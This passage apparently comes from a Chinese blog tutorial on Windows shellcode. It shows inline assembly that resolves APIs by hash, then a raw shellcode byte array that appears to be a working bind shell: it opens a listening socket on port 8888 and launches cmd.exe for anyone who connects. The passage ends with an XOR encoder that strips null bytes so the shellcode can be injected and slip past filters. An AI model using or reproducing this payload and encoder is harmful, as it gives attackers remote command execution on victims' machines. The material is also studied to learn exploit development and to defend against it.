		// 3.获取GetProcAddress
		push 0XBBAFDF85; // 现在fun_GetProcAddr里面是通过哈希值匹配的
		push [ebp - 0x4]; // 传入dllBase
		call fun_GetProcAddr; // 获取函数的地址
		mov [ebp - 0xC], eax; // 第三个局部变量 = GetProcAddress
		// 4.加载user32.dll
		mov ecx, [ebp + 0x8];
		push ecx;  // user32.dll的字符串首地址
		call [ebp - 0x8]; // 调用LoadLibraryA
		mov [ebp - 0x10], eax;// 第四个局部变量 = user32.dll
		// 5.调用GetProcAddress获取MessageBoxA的地址
		push 0x1E380A6A; // MessageBoxA的字符串地址
		push [ebp - 0x10]; // 传入user32.dll的模块基址
		call fun_GetProcAddr; // 获取函数的地址
		mov [ebp - 0x14], eax; // 第五个局部变量 MessageBox的地址
		// 6.调用MessageBoxA
		push 0;
		push 0;
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0xB]; 
		push ecx; // hello 51hook
		push 0;
		call [ebp - 0x14]; // 调用MessageBoxA

		// 先拿到kernel32的基址
		mov ecx, [ebp + 0x8];
		lea ecx, [ecx + 0x18];
		push ecx;
		call [ebp - 0x8]; // 调用LoadLibraryA
		mov [ebp - 0x18], eax//kener32.dll

		// 拿到ExitProcess
		push 0x4FD18963;
		// push [ebp - 0x4]; // 传入dllBase kernel32或者kernelbase
		push [ebp - 0x18]; // 这就是确切的kernel32
		call fun_GetProcAddr; // 获取函数的地址
		push 0;
		call eax; // 调用ExitProcess

		pop ecx; // 还原用到的寄存器环境
		pop ebx;
		pop edx;
		pop edi;
		pop esi;
		mov esp, ebp; // 还原栈顶
		pop ebp; // 还原栈底
		retn 0x4; // pop eip + 堆栈内平衡
	};
}
int main() {
	printf("hello 51hook");
	shellCode();
	return 0;
}

shellcode加解密

#include <Windows.h>
#include <iostream>

char shellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x3E\xC6\x45\xFF\x00\xC7\x45\xFB\x2E\x64\x6C\x6C\xC7\x45\xF7\x65\x6C\x33\x32\xC7\x45\xF3\x6B\x65\x72\x6E\xC7\x45\xEF\x65\x78\x65\x00\xC7\x45\xEB\x63\x6D\x64\x2E\xC6\x45\xEA\x00\x66\xC7\x45\xE8\x6C\x6C\xC7\x45\xE4\x33\x32\x2E\x64\xC7\x45\xE0\x77\x73\x32\x5F\x8B\xCC\x8D\x49\x10\x51\xE8\xDA\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x76\x08\x8B\xC6\x5E\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x20\x56\x57\x52\x53\x51\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x16\x8B\x7E\x1C\x8D\x3C\x17\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x17\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x17\x89\x7D\xF4\xFC\x33\xC0\x33\xDB\xEB\x01\x43\x8B\x75\xF8\x8B\x34\x9E\x8B\x55\x08\x8D\x34\x16\x8B\x7D\x0C\x56\xE8\x24\x00\x00\x00\x3B\xF8\x75\xE6\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x5E\x8B\x5D\xFC\x8B\x1C\xBB\x8B\x55\x08\x8D\x04\x1A\x59\x5B\x5A\x5F\x5E\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x04\x51\x52\x53\x57\x56\xC7\x45\xFC\x00\x00\x00\x00\x33\xC9\x8B\x75\x08\x33\xC0\x8A\x04\x0E\x84\xC0\x74\x16\x8B\x5D\xFC\xC1\xE3\x19\x8B\x55\xFC\xC1\xEA\x07\x0B\xDA\x03\xD8\x89\x5D\xFC\x41\xEB\xE1\x8B\x45\xFC\x5E\x5F\x5B\x5A\x59\x8B\xE5\x5D\xC2\x04\x00\x55\x8B\xEC\x81\xEC\x00\x03\x00\x00\xE8\x18\xFF\xFF\xFF\x68\x32\x74\x91\x0C\x50\xE8\x2D\xFF\xFF\xFF\x89\x45\xFC\x8B\x4D\x08\x51\xFF\x55\xFC\x89\x45\xF8\x8B\x4D\x08\x8D\x49\x13\x51\xFF\x55\xFC\x89\x45\xF4\x68\x3D\x6A\xB4\x80\xFF\x75\xF8\xE8\x06\xFF\xFF\xFF\x8D\xB5\x00\xFD\xFF\xFF\x56\x68\x02\x02\x00\x00\xFF\xD0\x68\x2D\x32\x78\xDE\xFF\x75\xF8\xE8\xEB\xFE\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x89\x45\xF0\x68\x64\x10\xA7\xDD\xFF\x75\xF8\xE8\xCD\xFE\xFF\xFF\x66\xC7\x85\x00\xFE\xFF\xFF\x02\x00\x66\xC7\x85\x02\xFE\xFF\xFF\x22\xB8\xC7\x85\x04\xFE\xFF\xFF\x00\x00\x00\x00\x6A\x10\x8D\xB5\x00\xFE\xFF\xFF\x56\xFF\x75\xF0\xFF\xD0\x68\x0C\x9F\xD3\x4B\xFF\x75\xF8\xE8\x96\xFE\xFF\xFF\x68\xFF\xFF\xFF\x7F\xFF\x75\xF0\xFF\xD0\x68\xB1\x1E\x97\x01\xFF\x75\xF8\xE8\x7F\xFE\xFF\xFF\x6A\x00\x6A\x00\xFF\x75\xF0\xFF\xD0\x89\x45\xF0\x8D\xBD\x70\xFF\xFF\xFF\x33\xC0\xB9\x11\x00\x00\x00\xFC\xF3\xAB\xC7\x85\x70\xFF\xFF\xFF\x44\x00\x00\x00\xC7\x45\x9C\x00\x01\x00\x00\x66\xC7\x45\xA0\x00\x00\x8B\x75\xF0\x89\x75\xA8\x89\x75\xAC\x89\x75\xB0\x68\xC9\xBC\xA6\x6B\xFF\x75\xF4\xE8\x33\xFE\xFF\xFF\x8D\xBD\x00\xFE\xFF\xFF\x8D\xB5\x70\xFF\xFF\xFF\x8B\x4D\x08\x8D\x49\x0B\x57\x56\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x51\x6A\x00\xFF\xD0\x8B\xE5\x5D\xC2\x04\x00";

int shelllen = 0x26A;

BOOL EncodeShellCode(char shellcode[],int nsize) {
	INT nkey = 0;
	BOOL isSuccess = TRUE;
	UCHAR* enCodeBuff = new UCHAR[nsize];
	for (UCHAR key = 0; key < 0xff; key++) { // 遍历key
		isSuccess = TRUE;
		nkey = key;
		// 遍历shellcode
		for (int i = 0; i < nsize; i++) {
			enCodeBuff[i] = shellcode[i] ^ key;
			if (enCodeBuff[i] == 0) { // 那么就证明当前这个key不能用
				isSuccess = FALSE;
				break;
			}
		}
		if (isSuccess) { // 证明这个keyd 一个0都不会产生
			break;
		}
	}
	if (!isSuccess) {
		return FALSE;
	}
	FILE* fp;
	fopen_s(&fp, "encodeShellcode.txt", "w+");
	fprintf(fp, "key===0x%0.2X\n", nkey);
	fprintf(fp, "shellcode[]:\n\"", nkey);
	for (int i = 0; i < nsize; i++)
	{
		fprintf(fp, "\\x%0.2X", enCodeBuff[i]);
		if ((i + 1) % 12 == 0)
			fprintf(fp, "\" \\ \n\"");
	}
	fprintf(fp, "\"");
	fclose(fp);
	delete[] enCodeBuff;
	return TRUE;
}

int main() {
	EncodeShellCode(shellcode, shelllen);
	return 0;
}

0x400000 call 0x400004
0x400005 retn 
         pop eax


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值